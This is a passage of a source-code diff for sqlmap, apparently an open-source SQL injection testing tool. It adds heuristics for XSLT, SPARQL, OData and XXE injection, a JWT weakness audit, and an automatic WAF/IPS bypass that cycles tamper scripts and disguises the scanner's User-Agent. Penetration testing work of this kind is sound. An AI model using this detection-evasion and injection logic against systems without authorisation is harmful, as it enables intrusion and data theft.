conf.beep: + beep() + + if not conf.xslt and _search(XSLT_ERROR_REGEX): + infoMsg = "heuristic (XSLT) test shows that %sparameter '%s' might be vulnerable to XSLT injection (rerun with switch '--xslt')" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + if conf.beep: + beep() + + if not conf.sparql and _search(SPARQL_ERROR_REGEX): + infoMsg = "heuristic (SPARQL) test shows that %sparameter '%s' might be vulnerable to SPARQL injection (rerun with switch '--sparql')" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + + if conf.beep: + beep() + + if not conf.odata and _search(ODATA_ERROR_REGEX): + infoMsg = "heuristic (OData) test shows that %sparameter '%s' might be vulnerable to OData $filter injection (rerun with switch '--odata')" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + + if conf.beep: + beep() + + if not conf.xxe and kb.postHint in (POST_HINT.XML, POST_HINT.SOAP) and _search(XXE_ERROR_REGEX): + infoMsg = "heuristic (XXE) test shows that the XML request body might be vulnerable to XML External Entity injection (rerun with switch '--xxe')" + logger.info(infoMsg) + + if conf.beep: + beep() kb.disableHtmlDecoding = False kb.heuristicMode = False return kb.heuristicTest +def checkJWT(): + """ + Passive, always-on heuristic: surface any JSON Web Token the request carries (cookie, header or + parameter) together with its offline weaknesses (alg:none, guessable HMAC secret, unsafe key + headers, missing expiry), hinting at '--jwt' for active confirmation and injection. + """ + + if kb.get("jwtChecked") or conf.jwt: + return + + kb.jwtChecked = True + + from lib.utils.jwt import auditJWT + from lib.utils.jwt import findJWTs + from lib.core.settings import JWT_COMMON_SECRETS + + haystacks = list((conf.parameters or {}).values()) + haystacks += [value for _, value in (conf.httpHeaders or [])] + + seen = set() + for haystack in haystacks: + for token in findJWTs(haystack): + if token in seen: + continue + seen.add(token) + + infoMsg = "heuristic (JWT) test shows that the request carries a JSON Web Token (rerun with switch '--jwt')" + logger.info(infoMsg) + + for _, severity, summary, __ in auditJWT(token, secrets=JWT_COMMON_SECRETS): + logger.info("JWT weakness (%s): %s" % (severity, summary)) + + if conf.beep: + beep() + def checkDynParam(place, parameter, value): """ This function checks if the URL parameter is dynamic. If it is @@ -1209,7 +1415,9 @@ def checkDynamicContent(firstPage, secondPage): seqMatcher.set_seq1(firstPage) seqMatcher.set_seq2(secondPage) ratio = seqMatcher.quick_ratio() - except MemoryError: + except (MemoryError, TypeError, SystemError, ValueError, AttributeError): + # difflib can fail on pathological input or, rarely, with interpreter-level + # errors under heavy threading; degrade to "undetermined" instead of crashing ratio = None if ratio is None: @@ -1224,6 +1432,27 @@ def checkDynamicContent(firstPage, secondPage): count += 1 if count > conf.retries: + # Last resort before the (lossy) '--text-only' fallback: if the page is byte-unstable + # but STRUCTURALLY stable - an identical, non-empty tag/class/id skeleton across + # requests - base the comparison on that value-free structure instead. Dynamic text + # (e.g. per-render result rows) then no longer masks an injection whose signal is + # structural (the HTML counterpart of the structure-aware JSON comparison). Content + # with no usable structure (empty skeleton, e.g. random/binary bodies) falls through + # to '--text-only' as before. + skeleton = extractStructuralTokens(firstPage) + if skeleton and skeleton == extractStructuralTokens(secondPage): + kb.pageStructurallyStable = True + + if kb.nullConnection: + debugMsg = "turning off NULL connection support because of structural page comparison" + logger.debug(debugMsg) + kb.nullConnection = None + + infoMsg = "target URL content is not byte-stable but structurally stable; sqlmap " + infoMsg += "will base the page comparison on the page structure" + logger.info(infoMsg) + return + warnMsg = "target URL content appears to be too dynamic. " warnMsg += "Switching to '--text-only' " logger.warning(warnMsg) @@ -1238,7 +1467,7 @@ def checkDynamicContent(firstPage, secondPage): kb.heavilyDynamic = True secondPage, _, _ = Request.queryPage(content=True) - findDynamicContent(firstPage, secondPage) + findDynamicContent(firstPage, secondPage, merge=True) def checkStability(): """ @@ -1351,6 +1580,10 @@ def checkWaf(): warnMsg = "previous heuristics detected that the target " warnMsg += "is protected by some kind of WAF/IPS" logger.critical(warnMsg) + if hashDBRetrieve(HASHDB_KEYS.CHECK_WAF_BYPASS, True): # re-apply a previously accepted automatic bypass + from lib.utils.wafbypass import neutralizeFingerprint + kb.wafBypass = True + neutralizeFingerprint() return _ if not kb.originalPage: @@ -1393,6 +1626,7 @@ def checkWaf(): hashDBWrite(HASHDB_KEYS.CHECK_WAF_RESULT, retVal, True) + if retVal: if not kb.identifiedWafs: warnMsg = "heuristics detected that the target " @@ -1406,9 +1640,19 @@ def checkWaf(): if not choice: raise SqlmapUserQuitException else: - if not conf.tamper: - warnMsg = "please consider usage of tamper scripts (option '--tamper')" - singleTimeWarnMessage(warnMsg) + if not conf.tamper and not kb.tamperFunctions: + message = "do you want sqlmap to try to automatically bypass the WAF/IPS during " + message += "the run (e.g. by using a non-scanner User-Agent and tamper script(s))? [Y/n] " + kb.wafBypass = readInput(message, default='Y', boolean=True) + hashDBWrite(HASHDB_KEYS.CHECK_WAF_BYPASS, kb.wafBypass, True) + if kb.wafBypass: + # apply it up-front so the whole run (detection included) avoids the scanner + # fingerprint, instead of getting blocked first and only then retrying + from lib.utils.wafbypass import neutralizeFingerprint + neutralizeFingerprint() + logger.info("using a random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS") + else: + singleTimeWarnMessage("please consider manual usage of tamper scripts (option '--tamper')") return retVal @@ -1436,30 +1680,79 @@ def checkNullConnection(): pushValue(kb.pageCompress) kb.pageCompress = False + # A method is accepted only if the length it reports tracks the real GET response. The + # original page length (len(kb.originalPage)) is the reference; a method whose length is + # grossly off (e.g. HEAD returning 'Content-Length: 0', HEAD served from a different code + # path, or sneaked-in compression) would otherwise make every page look identical and + # silently break detection. The band is coarse on purpose (byte-vs-character size and + # moderate page dynamism are expected); a false reject just forgoes the optimization + def _plausibleLength(length): + reference = len(kb.originalPage or "") + if not reference: + return True + return NULL_CONNECTION_LENGTH_TOLERANCE_LOW * reference <= length <= NULL_CONNECTION_LENGTH_TOLERANCE_HIGH * reference + try: page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD, raise404=False) if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}): - kb.nullConnection = NULLCONNECTION.HEAD + try: + length = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0]) + except ValueError: + length = None - infoMsg = "NULL connection is supported with HEAD method ('Content-Length')" - logger.info(infoMsg) - else: + if length is not None and _plausibleLength(length): + kb.nullConnection = NULLCONNECTION.HEAD + + infoMsg = "NULL connection is supported with HEAD method ('Content-Length')" + logger.info(infoMsg) + elif length is not None: + debugMsg = "HEAD method reports an implausible 'Content-Length' (%d B vs ~%d B for the original page); skipping it" % (length, len(kb.originalPage or "")) + logger.debug(debugMsg) + + if kb.nullConnection is None: page, headers, _ = Request.getPage(auxHeaders={HTTP_HEADER.RANGE: "bytes=-1"}) if page and len(page) == 1 and HTTP_HEADER.CONTENT_RANGE in (headers or {}): - kb.nullConnection = NULLCONNECTION.RANGE + try: + length = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:]) + except ValueError: + length = None - infoMsg = "NULL connection is supported with GET method ('Range')" - logger.info(infoMsg) - else: - _, headers, _ = Request.getPage(skipRead=True) + if length is not None and _plausibleLength(length): + kb.nullConnection = NULLCONNECTION.RANGE - if HTTP_HEADER.CONTENT_LENGTH in (headers or {}): + infoMsg = "NULL connection is supported with GET method ('Range')" + logger.info(infoMsg) + elif length is not None: + debugMsg = "'Range' method reports an implausible total length (%d B vs ~%d B for the original page); skipping it" % (length, len(kb.originalPage or "")) + logger.debug(debugMsg) + + if kb.nullConnection is None: + _, headers, _ = Request.getPage(skipRead=True) + + if HTTP_HEADER.CONTENT_LENGTH in (headers or {}): + try: + length = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0]) + except ValueError: + length = len(kb.originalPage or "") + + if not _plausibleLength(length): + debugMsg = "'skip-read' method reports an implausible 'Content-Length' (%d B vs ~%d B for the original page); skipping it" % (length, len(kb.originalPage or "")) + logger.debug(debugMsg) + # Unlike HEAD/Range, 'skip-read' leaves the body unread and must close the + # connection (an unread body cannot be reused), paying a fresh TCP/TLS handshake + # per request. That only outweighs the avoided body transfer for large responses; + # for small ones it is a net slowdown, so it is gated by the response size here + elif length >= NULL_CONNECTION_SKIP_READ_MIN_LENGTH: kb.nullConnection = NULLCONNECTION.SKIP_READ infoMsg = "NULL connection is supported with 'skip-read' method" logger.info(infoMsg) + else: + debugMsg = "'skip-read' NULL connection method is available but skipped because the " + debugMsg += "response (%d B) is too small for it to outweigh the per-request reconnect cost" % length + logger.debug(debugMsg) except SqlmapConnectionException: pass diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 1770e751c52..21df0f75072 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -16,6 +16,7 @@ from lib.controller.checks import checkConnection from lib.controller.checks import checkDynParam from lib.controller.checks import checkInternet +from lib.controller.checks import checkJWT from lib.controller.checks import checkNullConnection from lib.controller.checks import checkSqlInjection from lib.controller.checks import checkStability @@ -41,6 +42,7 @@ from lib.core.common import removePostHintPrefix from lib.core.common import safeCSValue from lib.core.common import showHttpErrorCodes +from lib.core.common import singleTimeWarnMessage from lib.core.common import urldecode from lib.core.common import urlencode from lib.core.compat import xrange @@ -68,13 +70,16 @@ from lib.core.settings import ASP_NET_CONTROL_REGEX from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES from lib.core.settings import DEFAULT_GET_POST_DELIMITER +from lib.core.settings import NONSQL_TECHNIQUES from lib.core.settings import EMPTY_FORM_FIELDS_REGEX from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_REGEX +from lib.core.settings import HASHDB_STALE_DAYS from lib.core.settings import HOST_ALIASES from lib.core.settings import IGNORE_PARAMETERS from lib.core.settings import LOW_TEXT_PERCENT from lib.core.settings import REFERER_ALIASES from lib.core.settings import USER_AGENT_ALIASES +from lib.core.settings import WAF_BYPASS_MAX_TRIALS from lib.core.target import initTargetEnv from lib.core.target import setupTargetEnv from lib.utils.hash import crackHashFile @@ -167,6 +172,57 @@ def _formatInjection(inj): return data +def _autoWafBypass(place, parameter, value): + """ + Automatic WAF/IPS bypass (offered interactively once a WAF/IPS is detected, cached in + kb.wafBypass). The request fingerprint has already been neutralized up-front (non-scanner + User-Agent, see checkWaf), so here the empirically-ranked candidate tamper scripts are trialled + and the first that RESTORES a confirmed injection is adopted. Re-running checkSqlInjection() + through a candidate is itself the validation - it succeeds only if the resulting payload both + passes the WAF and stays valid SQL, so junk/incompatible candidates are rejected automatically. + """ + + from lib.utils.wafbypass import candidateTampers, loadTamper + + retVal = None + + savedTamper = kb.tamperFunctions + savedTechnique = conf.technique + conf.technique = [PAYLOAD.TECHNIQUE.BOOLEAN] # bound each trial to a quick boolean re-check + + candidates = candidateTampers(identifiedWafs=kb.identifiedWafs) + + try: + for count, name in enumerate(candidates): + if count >= WAF_BYPASS_MAX_TRIALS: + break + + function = loadTamper(name) + if function is None: + continue + + kb.tamperFunctions = [function] + logger.info("trying to bypass the WAF/IPS with tamper script '%s'" % name) + + injection = checkSqlInjection(place, parameter, value) + if getattr(injection, "place", None) is not None and NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes: + logger.info("bypassed the WAF/IPS by using tamper script '%s' (with a non-scanner User-Agent)" % name) + logger.info("the same result can be reproduced manually with switch '--random-agent' and tamper script '%s'" % name) + retVal = injection + return retVal + + if kb.droppingRequests and count >= 2: + logger.warning("target keeps dropping requests; giving up on the WAF/IPS bypass") + break + finally: + conf.technique = savedTechnique + if retVal is None: # nothing worked - leave tampering untouched + kb.tamperFunctions = savedTamper + # honest bail: say it could not be bypassed and what to try manually + logger.warning("unable to automatically bypass the WAF/IPS; it might be using behavioral or rate-based detection (consider a manual '--tamper' selection, '--delay', or '--proxy' rotation)") + + return retVal + def _showInjections(): if conf.wizard and kb.wizardMode: kb.wizardMode = False @@ -181,9 +237,29 @@ def _showInjections(): conf.dumper.string("", {"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, content_type=CONTENT_TYPE.TARGET) conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES) else: + # --report-json: capture the same TARGET/TECHNIQUES structures the API emits, without + # printing them (the human-readable injection points are rendered just below) + if conf.reportJson: + conf.dumper._reportData({"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, CONTENT_TYPE.TARGET) + conf.dumper._reportData(kb.injections, CONTENT_TYPE.TECHNIQUES) + data = "".join(set(_formatInjection(_) for _ in kb.injections)).rstrip("\n") conf.dumper.string(header, data) + # when results were resumed (no test requests this run), nudge if the session file is stale - + # this is the common "why is it showing old/unexpected results?" confusion + if kb.testQueryCount == 0 and not conf.freshQueries: + try: + days = int((time.time() - os.path.getmtime(conf.hashDBFile)) / (24 * 3600)) + except (OSError, IOError, TypeError): + days = 0 + + if days >= HASHDB_STALE_DAYS: + warnMsg = "results above were resumed from a session file last updated %d days ago, " % days + warnMsg += "so they may be stale. Rerun with '--flush-session' to retest " + warnMsg += "or '--fresh-queries' to ignore cached query results" + logger.warning(warnMsg) + if conf.tamper: warnMsg = "changes made by tampering scripts are not " warnMsg += "included in shown payload content(s)" @@ -300,6 +376,11 @@ def start(): for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets: targetCount += 1 + # --report-json: give each target its own taskid in the shared collector, so a multi-target + # run (e.g. '-m' bulk file) doesn't have later targets overwrite earlier ones (see _reportData) + if conf.reportJson: + kb.reportTaskId = targetCount + try: if conf.checkInternet: infoMsg = "checking for Internet connection" @@ -431,13 +512,21 @@ def start(): infoMsg = "testing URL '%s'" % targetUrl logger.info(infoMsg) + if conf.graphql and PLACE.GET not in conf.parameters: + # graphqlScan() is self-contained and operates on the GraphQL + # document, not on HTTP parameters. A dummy GET parameter keeps + # _setRequestParams() from appending the URI injection marker ('*') + # to a bare endpoint URL (which would break detection under + # '--batch'); it is discarded by graphqlScan() on entry. + conf.parameters[PLACE.GET] = "x" + setupTargetEnv() - if not checkConnection(suppressOutput=conf.forms): + if not any((conf.graphql,)) and not checkConnection(suppressOutput=conf.forms): continue if conf.rParam and kb.originalPage: - kb.randomPool = dict([_ for _ in kb.randomPool.items() if isinstance(_[1], list)]) + kb.randomPool = dict(_ for _ in kb.randomPool.items() if isinstance(_[1], list)) for match in re.finditer(r"(?si)]+\bname\s*=\s*[\"']([^\"']+)(.+?)", kb.originalPage): name, _ = match.groups() @@ -447,13 +536,78 @@ def start(): checkWaf() + checkJWT() + + if conf.mineParams and not any(conf.get(_) for _ in NONSQL_TECHNIQUES): + from lib.utils.paraminer import mineParameters + mineParameters() + + if any(conf.get(_) for _ in NONSQL_TECHNIQUES) and (conf.reportJson or conf.resultsFile): + singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (%s) findings; these are reported on the console only" % '/'.join("--%s" % _ for _ in NONSQL_TECHNIQUES)) + + if conf.graphql: + from lib.techniques.graphql.inject import graphqlScan + graphqlScan() + continue + + if conf.nosql: + from lib.techniques.nosql.inject import nosqlScan + nosqlScan() + continue + + if conf.ldap: + from lib.techniques.ldap.inject import ldapScan + ldapScan() + continue + + if conf.xpath: + from lib.techniques.xpath.inject import xpathScan + xpathScan() + continue + + if conf.ssti: + from lib.techniques.ssti.inject import sstiScan + sstiScan() + continue + + if conf.xslt: + from lib.techniques.xslt.inject import xsltScan + xsltScan() + continue + + if conf.xxe: + from lib.techniques.xxe.inject import xxeScan + xxeScan() + continue + + if conf.hql: + from lib.techniques.hql.inject import hqlScan + hqlScan() + continue + + if conf.sparql: + from lib.techniques.sparql.inject import sparqlScan + sparqlScan() + continue + + if conf.odata: + from lib.techniques.odata.inject import odataScan + odataScan() + continue + + if conf.jwt: + from lib.techniques.jwt.inject import jwtScan + jwtScan() + continue + if conf.nullConnection: checkNullConnection() if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None): - if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique: - # NOTE: this is not needed anymore, leaving only to display - # a warning message to the user in case the page is not stable + if not any((conf.string, conf.notString, conf.regexp)) and any(_ in conf.technique for _ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.UNION)): + # NOTE: besides the not-stable warning, this marks dynamic content for removal, which + # UNION column-count detection relies on too (it compares pages) - so it must run when + # UNION is tested even if BOOLEAN is excluded (e.g. '--technique=U' on a dynamic page) checkStability() # Do a little prioritization reorder of a testable parameter list @@ -605,6 +759,14 @@ def start(): logger.info(infoMsg) injection = checkSqlInjection(place, parameter, value) + + # WAF/IPS bypass accepted: the parameter looks injectable (heuristics) but + # the standard payloads were blocked -> try to auto-bypass it (request + # fingerprint neutralization and/or a tamper script) + if getattr(injection, "place", None) is None and kb.wafBypass and check == HEURISTIC_TEST.POSITIVE \ + and not conf.tamper and not kb.tamperFunctions: + injection = _autoWafBypass(place, parameter, value) or injection + proceed = not kb.endDetection injectable = False @@ -704,9 +866,13 @@ def start(): errMsg += "does not match exclusively True responses." if not conf.tamper: - errMsg += " If you suspect that there is some kind of protection mechanism " - errMsg += "involved (e.g. WAF) maybe you could try to use " - errMsg += "option '--tamper' (e.g. '--tamper=space2comment')" + if kb.identifiedWafs: + errMsg += " As a WAF/IPS ('%s') was identified during the run, " % ", ".join(kb.identifiedWafs) + errMsg += "you are strongly advised to retry with option '--tamper' (e.g. '--tamper=space2comment')" + else: + errMsg += " If you suspect that there is some kind of protection mechanism " + errMsg += "involved (e.g. WAF) maybe you could try to use " + errMsg += "option '--tamper' (e.g. '--tamper=space2comment')" if not conf.randomAgent: errMsg += " and/or switch '--random-agent'" @@ -729,7 +895,12 @@ def start(): condition = True if condition: - action() + try: + action() + finally: + if conf.proof: + from lib.utils.prove import proveExploitation + proveExploitation() except KeyboardInterrupt: if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1): diff --git a/lib/controller/handler.py b/lib/controller/handler.py index a2ea41f25bf..4d2e7a6d947 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -10,9 +10,12 @@ from lib.core.common import singleTimeWarnMessage from lib.core.data import conf from lib.core.data import kb +from lib.core.data import logger from lib.core.dicts import DBMS_DICT from lib.core.enums import DBMS +from lib.core.dicts import DBWIRE_MODULES from lib.core.exception import SqlmapConnectionException +from lib.utils.dbwire import Connector as DbwireConnector from lib.core.settings import ACCESS_ALIASES from lib.core.settings import ALTIBASE_ALIASES from lib.core.settings import CACHE_ALIASES @@ -25,6 +28,7 @@ from lib.core.settings import FIREBIRD_ALIASES from lib.core.settings import FRONTBASE_ALIASES from lib.core.settings import H2_ALIASES +from lib.core.settings import HANA_ALIASES from lib.core.settings import HSQLDB_ALIASES from lib.core.settings import INFORMIX_ALIASES from lib.core.settings import MAXDB_ALIASES @@ -42,6 +46,7 @@ from lib.core.settings import VERTICA_ALIASES from lib.core.settings import VIRTUOSO_ALIASES from lib.core.settings import SNOWFLAKE_ALIASES +from lib.core.settings import SPANNER_ALIASES from lib.utils.sqlalchemy import SQLAlchemy from plugins.dbms.access import AccessMap @@ -56,6 +61,7 @@ from plugins.dbms.firebird import FirebirdMap from plugins.dbms.frontbase import FrontBaseMap from plugins.dbms.h2 import H2Map +from plugins.dbms.hana import HANAMap from plugins.dbms.hsqldb import HSQLDBMap from plugins.dbms.informix import InformixMap from plugins.dbms.maxdb import MaxDBMap @@ -73,6 +79,7 @@ from plugins.dbms.vertica import VerticaMap from plugins.dbms.virtuoso import VirtuosoMap from plugins.dbms.snowflake import SnowflakeMap +from plugins.dbms.spanner import SpannerMap def setHandler(): """ @@ -80,6 +87,15 @@ def setHandler(): management system. """ + if conf.esperanto: + # force the DBMS-agnostic engine: skip per-DBMS fingerprinting entirely and + # let the boolean-oracle 'esperanto' handler drive enumeration. + from extra.esperanto import buildHandler + conf.dbmsHandler = buildHandler() + conf.dbmsHandler._dbms = "Esperanto" + logger.info("using the DBMS-agnostic 'Esperanto' engine (fingerprinting skipped)") + return + items = [ (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, "plugins.dbms.mysql.connector"), (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, "plugins.dbms.oracle.connector"), @@ -110,6 +126,8 @@ def setHandler(): (DBMS.RAIMA, RAIMA_ALIASES, RaimaMap, "plugins.dbms.raima.connector"), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES, VirtuosoMap, "plugins.dbms.virtuoso.connector"), (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES, SnowflakeMap, "plugins.dbms.snowflake.connector"), + (DBMS.SPANNER, SPANNER_ALIASES, SpannerMap, "plugins.dbms.spanner.connector"), + (DBMS.HANA, HANA_ALIASES, HANAMap, "plugins.dbms.hana.connector"), ] _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items) @@ -152,7 +170,12 @@ def setHandler(): try: conf.dbmsConnector.connect() except NameError: - if exception: + # neither a native driver nor SQLAlchemy is available: fall back to our dependency-free + # pure-python 'dbwire' client if it covers this DBMS (so '-d' works out of the box) + if dbms in DBWIRE_MODULES: + conf.dbmsConnector = DbwireConnector(DBWIRE_MODULES[dbms]) + conf.dbmsConnector.connect() + elif exception: raise exception else: msg = "support for direct connection to '%s' is not available. " % dbms diff --git a/lib/core/agent.py b/lib/core/agent.py index a0dc5b5be85..22184524c92 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -51,6 +51,7 @@ from lib.core.settings import GENERIC_SQL_COMMENT from lib.core.settings import GENERIC_SQL_COMMENT_MARKER from lib.core.settings import INFERENCE_MARKER +from lib.core.settings import MYSQL_UNION_VALUE_CAST from lib.core.settings import NULL from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import REPLACEMENT_MARKER @@ -69,9 +70,9 @@ def payloadDirect(self, query): query = self.cleanupPayload(query) if query.upper().startswith("AND "): - query = re.sub(r"(?i)AND ", "SELECT ", query, 1) + query = re.sub(r"(?i)AND ", "SELECT ", query, count=1) elif query.upper().startswith(" UNION ALL "): - query = re.sub(r"(?i) UNION ALL ", "", query, 1) + query = re.sub(r"(?i) UNION ALL ", "", query, count=1) elif query.startswith("; "): query = query.replace("; ", "", 1) @@ -112,7 +113,11 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N paramDict = conf.paramDict[place] origValue = getUnicode(paramDict[parameter]) newValue = getUnicode(newValue) if newValue else newValue - base64Encoding = re.sub(r" \(.+", "", parameter) in conf.base64Parameter + try: + # Dirty patch for Python 3.14.7 re.sub() regression (e.g. https://github.com/sqlmapproject/sqlmap/issues/6128) + base64Encoding = re.sub(r" \(.+", "", parameter) in conf.base64Parameter + except TypeError: + base64Encoding = False if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue: paramString = origValue @@ -132,7 +137,7 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N origValue = origValue.split(kb.customInjectionMark)[0] if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): origValue = re.split(r"['\">]", origValue)[-1] - elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): + elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE, POST_HINT.GRPC_WEB): match = re.search(r"['\"]", origValue) quote = match.group(0) if match else '"' origValue = extractRegexResult(r"%s\s*:\s*(?P\d+)\Z" % quote, origValue) or extractRegexResult(r"(?P[^%s]*)\Z" % quote, origValue) @@ -203,9 +208,9 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING) if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): - _ = "%s%s" % (origValue, kb.customInjectionMark) + _ = "%s%s" % (_origValue if base64Encoding else origValue, kb.customInjectionMark) - if kb.postHint == POST_HINT.JSON and isNumber(origValue) and not isNumber(newValue) and '"%s"' % _ not in paramString: + if kb.postHint in (POST_HINT.JSON, POST_HINT.GRPC_WEB) and isNumber(origValue) and not isNumber(newValue) and '"%s"' % _ not in paramString: newValue = '"%s"' % self.addPayloadDelimiters(newValue) elif kb.postHint == POST_HINT.JSON_LIKE and isNumber(origValue) and not isNumber(newValue) and re.search(r"['\"]%s['\"]" % re.escape(_), paramString) is None: newValue = "'%s'" % self.addPayloadDelimiters(newValue) @@ -220,7 +225,7 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N elif BOUNDED_INJECTION_MARKER in paramDict[parameter]: if base64Encoding: retVal = paramString.replace("%s%s" % (_origValue, BOUNDED_INJECTION_MARKER), _newValue) - match = re.search(r"(%s)=([^&]*)" % re.sub(r" \(.+", "", parameter), retVal) + match = re.search(r"(%s)=([^&]*)" % re.escape(re.sub(r" \(.+", "", parameter)), retVal) if match: retVal = retVal.replace(match.group(0), "%s=%s" % (match.group(1), encodeBase64(match.group(2), binary=False, encoding=conf.encoding or UNICODE_ENCODING))) else: @@ -410,6 +415,9 @@ def adjustLateValues(self, payload): """ if payload: + if Backend.isDbms(DBMS.SPANNER): + payload = payload.replace(" FROM default.", " FROM ").replace(" FROM `default`.", " FROM ") + for match in re.finditer(r"(?s)%s(.*?)%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER), payload): _ = encodeBase64(match.group(1), binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe) payload = payload.replace(match.group(0), _) @@ -504,10 +512,32 @@ def nullAndCastField(self, field): if field and Backend.getIdentifiedDbms(): rootQuery = queries[Backend.getIdentifiedDbms()] + kb.binaryField = conf.binaryFields and field in conf.binaryFields + hexConvert = conf.hexConvert or kb.binaryField + + # For BINARY fields, wrap the RAW column with the hex function rather than the text-casted one: + # text-casting binary first (e.g. CAST( AS NCHAR) on MySQL) NULLs non-text bytes, so HEX() + # would encode the NULL placeholder and silently lose the value (e.g. binary-stored password + # hashes). This is limited to binary fields: the blanket '--hex' keeps the cast-first path because + # raw-hexing a numeric/temporal column uses the DBMS's numeric HEX semantics (MySQL HEX(255)='FF'), + # which is NOT the hex of its string representation. Every DBMS hex function takes binary directly + # EXCEPT PostgreSQL's CONVERT_TO() (needs text), so PostgreSQL stays on the cast-first path too. + hexRaw = kb.binaryField and not Backend.isDbms(DBMS.PGSQL) + if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast and not (field.startswith("COUNT(") and Backend.getIdentifiedDbms() == DBMS.MSSQL): nulledCastedField = field + if hexConvert: + nulledCastedField = self.hexConvertField(nulledCastedField) else: - if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')): + if hexRaw: + nulledCastedField = self.hexConvertField(field) + elif Backend.isDbms(DBMS.MYSQL) and kb.get("mysqlUtf8mb4"): + # NCHAR (utf8mb3) downgrades 4-byte chars (emoji) to '?'; utf8mb4 preserves them + nulledCastedField = "CAST(%s AS CHAR CHARACTER SET utf8mb4)" % field + elif Backend.isDbms(DBMS.DERBY) and re.search(r"(?i)\bCOUNT\(", field): + # Derby rejects CAST(INTEGER AS VARCHAR); route the numeric COUNT through a CHAR intermediate + nulledCastedField = rootQuery.cast.query % ("CAST(%s AS CHAR(254))" % field) + elif not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')): nulledCastedField = rootQuery.cast.query % field if re.search(r"COUNT\(", field) and Backend.getIdentifiedDbms() in (DBMS.RAIMA,): @@ -517,9 +547,8 @@ def nullAndCastField(self, field): else: nulledCastedField = rootQuery.isnull.query % nulledCastedField - kb.binaryField = conf.binaryFields and field in conf.binaryFields - if conf.hexConvert or kb.binaryField: - nulledCastedField = self.hexConvertField(nulledCastedField) + if hexConvert and not hexRaw: + nulledCastedField = self.hexConvertField(nulledCastedField) if suffix: nulledCastedField += suffix @@ -673,6 +702,49 @@ def preprocessField(self, table, field): pass return retVal + @staticmethod + def _collapseFieldDelimiterSpace(query): + """ + Collapses ", " into "," to normalize the column-list delimiter, but ONLY outside + single/double quoted string literals, so a comma-space inside a literal (e.g. in a + WHERE clause: name='John, Jr') is preserved verbatim. The quote/escape handling + mirrors splitFields()/zeroDepthSearch(). + + >>> Agent._collapseFieldDelimiterSpace("SELECT a, b FROM t") + 'SELECT a,b FROM t' + >>> Agent._collapseFieldDelimiterSpace("SELECT a, b FROM t WHERE name='John, Jr'") + "SELECT a,b FROM t WHERE name='John, Jr'" + """ + + retVal = [] + quote = None + index = 0 + length = len(query) + + while index < length: + char = query[index] + if quote: + retVal.append(char) + if char == quote: + if index + 1 < length and query[index + 1] == quote: # escaped quote (e.g. '') + retVal.append(query[index + 1]) + index += 2 + continue + else: + quote = None + elif char in ('"', "'"): + quote = char + retVal.append(char) + elif char == ',' and index + 1 < length and query[index + 1] == ' ': + retVal.append(',') # keep the delimiter, drop the single trailing space + index += 2 + continue + else: + retVal.append(char) + index += 1 + + return "".join(retVal) + def concatQuery(self, query, unpack=True): """ Take in input a query string and return its processed nulled, @@ -701,7 +773,7 @@ def concatQuery(self, query, unpack=True): if unpack: concatenatedQuery = "" - query = query.replace(", ", ',') + query = self._collapseFieldDelimiterSpace(query) fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(query) castedFields = self.nullCastConcatFields(fieldsToCastStr) concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1) @@ -724,7 +796,7 @@ def concatQuery(self, query, unpack=True): elif fieldsNoSelect: concatenatedQuery = "CONCAT('%s',%s,'%s')" % 